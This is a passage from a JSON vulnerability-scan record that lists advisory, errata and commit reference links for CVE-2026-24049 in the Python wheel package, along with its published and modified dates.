"https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5119", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:62115", "https://access.redhat.com/errata/RHSA-2026:6555", "https://access.redhat.com/errata/RHSA-2026:6562", "https://access.redhat.com/errata/RHSA-2026:6565", "https://access.redhat.com/errata/RHSA-2026:7250", "https://access.redhat.com/security/cve/CVE-2026-24049", "https://advisory.echohq.com/cve/CVE-2026-24049", "https://bugzilla.redhat.com/2431959", "https://bugzilla.redhat.com/show_bug.cgi?id=2431959", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24049", "https://errata.almalinux.org/9/ALSA-2026-1939.html", "https://errata.rockylinux.org/RLSA-2026:1939", "https://github.com/pypa/wheel", "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef", "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e", "https://github.com/pypa/wheel/releases/tag/0.46.2", "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "https://linux.oracle.com/cve/CVE-2026-24049.html", "https://linux.oracle.com/errata/ELSA-2026-2090.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-24049", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json", "https://ubuntu.com/security/notices/USN-8221-1", "https://www.cve.org/CVERecord?id=CVE-2026-24049" ], "PublishedDate": "2026-01-22T05:16:23.157Z", "LastModifiedDate": "2026-09-10T13:17:45.017Z" } ] } ] }